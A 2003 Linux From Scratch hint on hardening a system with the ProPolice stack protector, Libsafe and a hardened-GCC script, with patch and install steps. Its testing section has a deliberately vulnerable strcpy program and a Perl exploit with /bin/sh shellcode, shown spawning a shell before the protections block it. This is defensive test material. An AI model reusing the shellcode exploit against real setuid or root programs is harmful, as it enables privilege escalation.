propolice.txt

ashes cendres at videotron.ca
Thu Jan 1 14:31:50 PST 2004


Added gentoo's hcc script. Much easier to use.
-------------- next part --------------
AUTHOR: Robert Connolly <cendres at videotron dot ca> (ashes)

DATE:   2003-12-30

LICENSE:        Public Domain

SYNOPSIS:       ProPolice and Libsafe

PRIMARY URL:	ftp://twocents.mooo.com/pub/

DESCRIPTION:
ProPolice is a C and C++ security extension for GCC.
Libsafe prevents format string attacks.

PREREQUISITES: LFS-5.0

HINT:

=======
Context
=======

	Introduction
		ProPolice in Glibc vs GCC
		CFLAGS and ProPolice
		ProPolice bugs
		Hardened GCC
		Libsafe
	Downloads
	Installation
	Testing
	Feedback
	Acknowledgments

============
Introduction
============
This whole hint is experimental.

ProPolice Smashing Stack Protector
-The good news:

Based on StackGaurd, ProPolice was developed by IBM for protecting applications
from stack smashing attacks. This is the single largest class of attacks and
many hope ProPolice will find its way into the mainstream GCC and become the
default smash guard. This protection uses the urandom device to determine the
guard value, and uses minimal time and space overhead. In practice users do not
complain about loss in system performance even when the entire system is build
with this guard.

The patch will add -fstack-protector-all, -fstack-protector, and
-fno-stack-protector to GCC extensions for C and C++; and
__guard_setup and __stack_smash_handler are defined in libgcc2.c. Programs
compiled with this which are run in chroot will need access to /dev/urandom and
for logging /dev/log. Syslog puts it in /var/log/sys.log where intrusion
detection can use it.
I have tested ProPolice on kernel 2.4 and 2.6, and Glibc linuxthreads and nptl.
It should work with any custom configuration you may have.

-The bad news:

ProPolice does not protect the heap. It was designed to trade security for
portability and performance.
Optimizing more then -O2 may optimize away things ProPolice needs.

------------------------
ProPolice in Libc vs GCC
------------------------
The official ProPolice maintainer has added support for a Gentoo Glibc stack
protector implementation. Gentoo states this patch for Glibc is to correct
static linking problems with some software, and was aided by OpenBSD developers.
The Gentoo Glibc method might be the more secure stable choice, feedback and
research is needed.

--------------------
CFLAGS and ProPolice
--------------------
The ProPolice maintainer distributes two patches. The main patch is the guts of
the code, the second patch enables -fstack-protector by default. This isn't as
ideal as -fstack-protector-all. As you will see in the Testing section below,
-fstack-protector-all protects all functions regardless of array size, while
-fstack-protector does not protect arrays of length seven or less. ProPolice
often triggers bugs in software, -fstack-protector-all causes even more. The
only serious bugs I have noticed so far have been with XFree86 and tool chain test
suites. The patch for X makes use of OpenBSD code in XFree86 so it builds with
ProPolice. Adding -fstack-protector-all to your cflags is encouraged, but right
now I know it will cause yet more errors.

------------
Hardened GCC
------------
Gentoo developers have created a shell script which edits the GCC spec file for
us. This makes ProPolice easier to use, and adds et_dyn. Their source include
crt1S.S which is distributed by PaX to make use of et_dyn in Glibc-2.3.2.
Glibc-2.3.3 has intergrated this feature. I have taken the Gentoo source for
sys-devel/hardened-gcc and adapted it for LFS. I basicly only changed "ewarn" to
"echo" and /usr to /tools, where it was needed. However this doesn't end.
Gentoo's newest hardened-gcc depends on gcc-config (another Gentoo script), and
Python. So hopefully one of us will be able to rewrite this script in the future
to drop the Python dependency. This script won't disable the protector_only patch,
so don't use it. You will need sed-4.x on your host. And binutils that understands
-pie to use et_dyn.

--------------
ProPolice bugs
--------------
I have ways of making most of these go away.

Binutils
FAIL: bootstrap with --static
FAIL: S-records
FAIL: S-records with constructors

GCC
You only get the first two with -ftsack-protector and the GCC method.
Otherwise you get all of them. I'm looking for fixes.

FAIL: gcc.dg/asm-names.c (test for excess errors)
FAIL: gcc.dg/duff-2.c (test for excess errors)
FAIL: gcc.dg/uninit-C.c (test for excess errors)
FAIL: gcc.dg/special/gcsec-1.c (test for excess errors)
FAIL: g++.dg/tls/init-2.C
FAIL: g++.law/weak.C (test for excess errors)

--------
Libsafe
--------
-The good news:

Libsafe was developed by Avaya Labs to protect against format string
vulnerabilities. Though not widely used it has been widely tested. This
protection can be installed on an already running system, using ld.so.preload
to watch applications at runtime for functions which are known to be vulnerable.
This of course only protects dynamically linked applications. There should not
be a noticeable performance decrease, and it also logs to syslog.

-The bad news:

We get some errors if we install Libsafe early in the build.
GCC
FAIL: g++.dg/expr/anew1.C execution test
FAIL: g++.dg/expr/anew2.C execution test
FAIL: g++.dg/expr/anew3.C execution test
FAIL: g++.dg/expr/anew4.C execution test

Binutils
FAIL: S-records
FAIL: S-records with constructors

To avoid these errors we install Libsafe after gcc in chapter 6.
Other bad news is unknown.

=========
Downloads
=========
----------
ProPolice
----------
This is all available from:
ftp://twocents.mooo.com/pub/

Patches are available for GCC 2.95.3, 3.3.1, and 3.3.2.
The protector_only patches will make GCC use -fstack-protector all the time.
http://www.linuxfromscratch.org/patches/downloads/gcc/ \
        gcc-{$ver}-protector-3.patch
http://www.linuxfromscratch.org/patches/downloads/gcc/ \
        gcc-{$ver}-protector_only-3.patch

Patches are for glibc-2.3.2 and 2.3.3.
http://www.linuxfromscratch.org/patches/downloads/glibc/ \
	glibc-2.3.2-propolice-guard-functions-1.patch
http://www.linuxfromscratch.org/patches/downloads/glibc/ \
	glibc-2.3.3-propolice-guard-functions-1.patch

This patch enables the kernel to be built with -fstack-protector.
http://www.linuxfromscratch.org/patches/downloads/linux/ \
	linux-2.4.23-protector-1.patch
or
	linux-2.6.0-protector-1.patch

Use this patch when building xfree86. It will use -fno-stack-protector when
building modules.
http://www.linuxfromscratch.org/patches/downloads/XFree86/ \
        XFree86-4.3.0-protector-1.patch

------------
Hardened GCC
------------
ftp://twocents.mooo.com/pub/hcc/hlfs-hcc-0.1.tar.bz2

--------
Libsafe
--------
Official site:
http://www.research.avayalabs.com/project/libsafe/src/libsafe-2.0-16.tgz
My mirror:
ftp://twocents.mooo.com/pub/libsafe/libsafe-2.0-16.tgz

--------------------
Full Bounds Checking
--------------------
This is an auditing tool to give verbose debugging. Applications built with this
will run like a pig. This is not intended for real world use, only for
debugging. -fbounds-checking is added to GCC extensions, and is not used by
default.
Official site:
http://web.inter.nl.net/hcc/Haj.Ten.Brugge/ \
	bounds-checking-gcc-3.3.2-1.00.patch.bz2
and
http://www.linuxfromscratch.org/patches/downloads/gcc/ \
	gcc-3.3.2-bounds-checking-1.patch

=====================
Installation
=====================

---------
Chapter 5
---------
 - GCC pass 1
If you are using the GCC method, ProPolice can be added to GCC pass one. If you
are switching methods, or using the Glibc method from a generic host, wait
until GCC pass two. If the host system is using the Glibc method, it can be
repeated in GCC pass one. If in doubt, wait until pass two.

 - Glibc
If you're using the Glibc method (recommenced) add this patch, otherwise do not.
patch -Np1 -i ../glibc-2.3.2-propolice-guard-functions-1.patch

 - GCC pass 2
You could get some errors from the tests. More for for the using Glibc method.
Don't worry too much about errors here, you'll get fewer after hcc is installed.
patch -Np1 -i ../gcc-3.3.1-protector-3.patch

 - HLFS GCC
Note: crt1S.S can be edited for a specific kernel version. I used 2.4.1 as the
min version number.
cp /tools/lib/gcc-lib/i686-pc-linux-gnu/3.3.1/specs ~/gcc.tools.specs
cp chapter5/hardened-gcc-* /tools/bin
cp chapter5/hcc.conf /tools/etc
ln -s hardened-gcc-arch-specific.sh /tools/bin/hcc
cd glibc-2.3.2 && make
cp crt1S.o /tools/lib
hcc -a

 - Binutils pass 2
The only way to make this stable is by using `hcc -r` before make. The best I
could do still produced "FAIL: bootstrap with --static". Untill this is fixed I
do not reccomend building binutils with propolice.

hcc -a should work fine for the rest of the chapter.
Don't forget to install m4, bison, and flex to /tools if you're using HJL binutils
for et_dyn.
---------
Chapter 6
---------
 - Glibc
No errors from make check. hcc -a just to be sure.
patch -Np1 -i ../glibc-2.3.2-propolice-guard-functions-1.patch

 - Binutils
hcc -r

 - GCC
hcc -a
patch -Np1 -i ../gcc-3.3.2-protector-3.patch

I get:
FAIL: gcc.dg/duff-2.c (test for excess errors)
FAIL: gcc.dg/uninit-C.c (test for excess errors)
FAIL: g++.dg/tls/init-2.C (test for excess errors)

 - HCC GCC
cp /usr/lib/gcc-lib/i686-pc-linux-gnu/3.3.1/specs ~/gcc.specs
Never overwrite this file. This file is the only file hcc changes. Copy it back
if you ever have serious problems.

cp chapter6/hardened-gcc-* /usr/bin &&
cp chapter6/hcc.conf /etc &&
ln -s hardened-gcc-arch-specific.sh /usr/bin/hcc &&
cd glibc-2.3.2 && make &&
cp crt1S.o /usr/lib &&
hcc -a

 - Libsafe
All of the exploits in exploits/ will fail because of hcc. Libsafe is obsolete.
You can install it if you want to, it has worked fine for me with kde, etc.
make &&
make install

 - Grub
make CFLAGS=-fno-stack-protector

 - GCC 2.95.3
The protector_only patch does not seem to work with the Glibc method.
patch -Np1 -i ../gcc-2.95.3-protector-3.patch

---------
Chapter 8
---------
Linux kernel

make mrproper &&
patch -Np1 -i ../linux-2.4.23-protector-1.patch

make menuconfig

make CC="/opt/gcc-2.95.3/bin/gcc -fstack-protector" dep
make CC="/opt/gcc-2.95.3/bin/gcc -fstack-protector" bzImage
...

========
Testing
========
The purpose of these examples is not to create havoc, but instead to help anyone
abuse their own software so they can make reports, and get them fixed, before
they are exploited. I hope to add more general ways of testing software. 

These exploits are obsolete.

## This program overflows the stack.

cat > test-propolice.c << "EOF"
/* test-propolice.c */

#define OVERFLOW "This is longer than 10 bytes"

int main (int argc, char *argv[]) {
    char buffer[10];
    strcpy(buffer, OVERFLOW);
    return 0;
}
EOF

# Then compile and run as follows

gcc -fstack-protector -o test-propolice test-propolice.c &&
./test-propolice

# That should return this to show the guard is working.
# "stack smashing attack in function main"

# You should also see a syslog message similar to this:

# test-propolice[19961]: [ID 702911 auth.crit] stack smashing attack in function
# main

# This program segfaults and the guard ignores it.

cat > fail.c << "EOF"
#include <stdio.h>
#include <unistd.h>

int foo(char *blah) {
  char buffer[7];
  sprintf(buffer, "12345678901234567890123456789012345678901234567890");
  return(1234);
}

int main(int argc, char **argv) {
  printf("before foo()\n");
  foo("blah");
  printf("after foo()\n");
}
EOF

gcc -fstack-protector -o fail fail.c &&
./fail

# Which should return this.
# before foo()
# Segmentation fault

Now try fail.c with -fstack-protector-all.

First we run this code with no protection.
We are using -static so libsafe isn't used.

cat > foo.c << "EOF"
/* foo.c */

 #include <stdio.h>
 int main(int argc, char **argv)
 {
 char buffer[180];
 if(argc>1)
 strcpy(buffer,argv[1]);
 printf("Miam...\n");
 }
EOF

gcc -fno-stack-protector -static -o foo foo.c

cat > x.pl << "EOF"
#!/usr/bin/perl

 ### le shellcode qui execute /bin/sh
 $shellcode = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" .
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
 "\x80\xe8\xdc\xff\xff\xff/bin/sh";

 ### Return Address / ESP
 $ret = 0xbffff8a0;

 ### la taille du buffer
 $buf = 208;

 $egg = 2000;

 $nop = "\x90";

 $offset = 0;

 if (@ARGV == 1) { $offset = $ARGV[0]; }
 $addr = pack('l', ($ret + $offset));

 for ($i = 0; $i < $buf; $i += 4) {
 $buffer .= $addr;
 }

 for ($i = 0; $i < ($egg - length($shellcode) - 100); $i++){
 $buffer .= $nop;
 }

 $buffer .= $shellcode;
 exec("./foo", $buffer,0);
EOF

Install gdb from http://ftp.gnu.org/gnu/gdb/gdb-6.0.tar.gz
Run this, add run `perl -e 'print "A"x208'`
Look for "esp 0xbffff8a0", you might have to edit x.pl for you.

$ gdb foo
GNU gdb 6.0
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...(no debugging symbols found)...
(gdb) run `perl -e 'print "A"x208'`
Starting program: /home/ashes/LFS/export/testing/foo `perl -e
'print "A"x208'`
(no debugging symbols found)...(no debugging symbols found)...Miam...

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info reg
eax            0x8      8
ecx            0x1fc018d2       532682962
edx            0x4014fe00       1075117568
ebx            0x4014f9e8       1075116520
esp            0xbffff8a0       0xbffff8a0
ebp            0x41414141       0x41414141
esi            0x40015020       1073827872
edi            0xbffff8e4       -1073743644
eip            0x41414141       0x41414141
eflags         0x10246  66118
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0      0
gs             0x0      0
(gdb) kill
Kill the program being debugged? (y or n) y
(gdb) quit

$ ./x.pl
Miam...
sh-2.05b$

This only demonstrates that bad code can freak out and exit to a shell.
If this code were part of a daemon running as root, or suid, it would give
root shell. The exploits in the libsafe source, and paxtest is basicly the
same as this. The paxtest ones are the most modern.

Now lets try this code with propolice.

rm foo && gcc -fstack-protector -static -o foo foo.c
gdb foo
...
run `perl -e 'print "A"x208'`
..
Starting program: /home/ashes/LFS/export/testing/foo `perl -e
'print "A"x208'`
(no debugging symbols found)...(no debugging symbols found)...Miam...
foo: stack smashing attack in function main
Program received signal SIGABRT, Aborted.
0x40047b81 in kill () from /lib/libc.so.6
(gdb)

Here we can see propolice aborted the program, and now ./x.pl also aborts.
Next we test libsafe.

rm foo && gcc -fno-stack-protector -o foo foo.c

$ ./x.pl
Libsafe version 2.0.16
Detected an attempt to write across stack boundary.
Terminating /home/ashes/propolice/testing/foo.
    uid=1001  euid=1001  pid=742
Call stack:
    0x40018cbc  /lib/libsafe.so.2.0.16
    0x40018deb  /lib/libsafe.so.2.0.16
    0x80483a2   /home/ashes/propolice/testing/foo
    0x40039a96  /lib/libc-2.3.2.so
Overflow caused by strcpy()
Killed

And now if you want to build the PaX patch into your kernel, reboot,
and start again you will notice the first test doesn't work because
the return address keeps changing.

========
Feedback
========

<cendres at videotron dot ca>

ACKNOWLEDGMENTS:

* Thanks to Hiroaki Etoh for providing the protector patch to IBM
* Thanks to IBM for providing the protector patch at
	http://www.research.ibm.com/trl/projects/security/ssp/
* Thanks to OpenBSD for their XFree86 code. http://www.openbsd.org/
* Thanks to netsys.com for this
	http://www.netsys.com/cgi-bin/display_article.cgi?1266
* Thanks to securityfocus.com and immunix.com for this
	http://www.securityfocus.com/archive/1/333986/2003-08-17/2003-08-23/2
* Thanks to adamantix.org for kernel patches. http://www.adamantix.org/
* Thanks to Avaya Labs for Libsafe
	http://www.research.avayalabs.com/project/libsafe/
* Thanks to the Pax Team at http://pageexec.virtualave.net/
* Thanks to Teemu Tervo for nptl hint
	http://www.linuxfromscratch.org/hints/downloads/files/nptl.txt
* Thanks to cross compiling hint
	http://www.linuxfromscratch.org/hints/downloads/files/ \
		crosscompiling-x86.txt
* Thanks to http://www.isecurelabs.com/news/64 for proof of concept tests.
* Thanks to Gentoo http://www.gentoo.org/proj/en/hardened/etdyn-ssp.xml

CHANGELOG:
[2003-10-18]
* Debut
* Reformat hint
[2003-10-22]
* Reformatted the patches so they're much easier to apply.
* Edit/rewrite hint & synopsis.
[2003-10-24]
* Added caveat.
* Fixed URLS.
* Lite edit
[2003-10-25]
* New bugs found.
[2003-10-26]
* GCC 2.95.3 patches made.
[2003-10-27]
* XFree86-4.3.0 patch made.
* Hint is now Beta - Need more feedback.
[2003-11-03]
* Edit
* Reformatted patches.
[2003-11-12]
* Reformat patches.
* Update/edit hint.
* Add new example tests.
[2003-11-21]
* Reformat patches.
* Add homepage/mirror url.
* Small edit.
[2003-12-01]
* Added Glibc and kernel patches.
* Rewrote install procedure.
[2003-12-20]
* Try to be more informative.
* Removed Gentoo property.
* Added Libsafe.
* Added Pax.
* Added new versions of binutils and glibc.
* Added GCC PIE.
* Rename filename to winter.txt.
[2003-12-21]
* Do not use "Enforce non-executable pages"
* Spell check.
* Fixed URL.
[2003-12-22]
* Added LOPTS to Net-tools.
* Added LDFLAGS to Perl.
[2003-12-25]
* More cflags.
* New tests.
[2003-12-30]
* Renamed hint back to propolice.txt.
* Added back Gentoo property as optional.


More information about the hints mailing list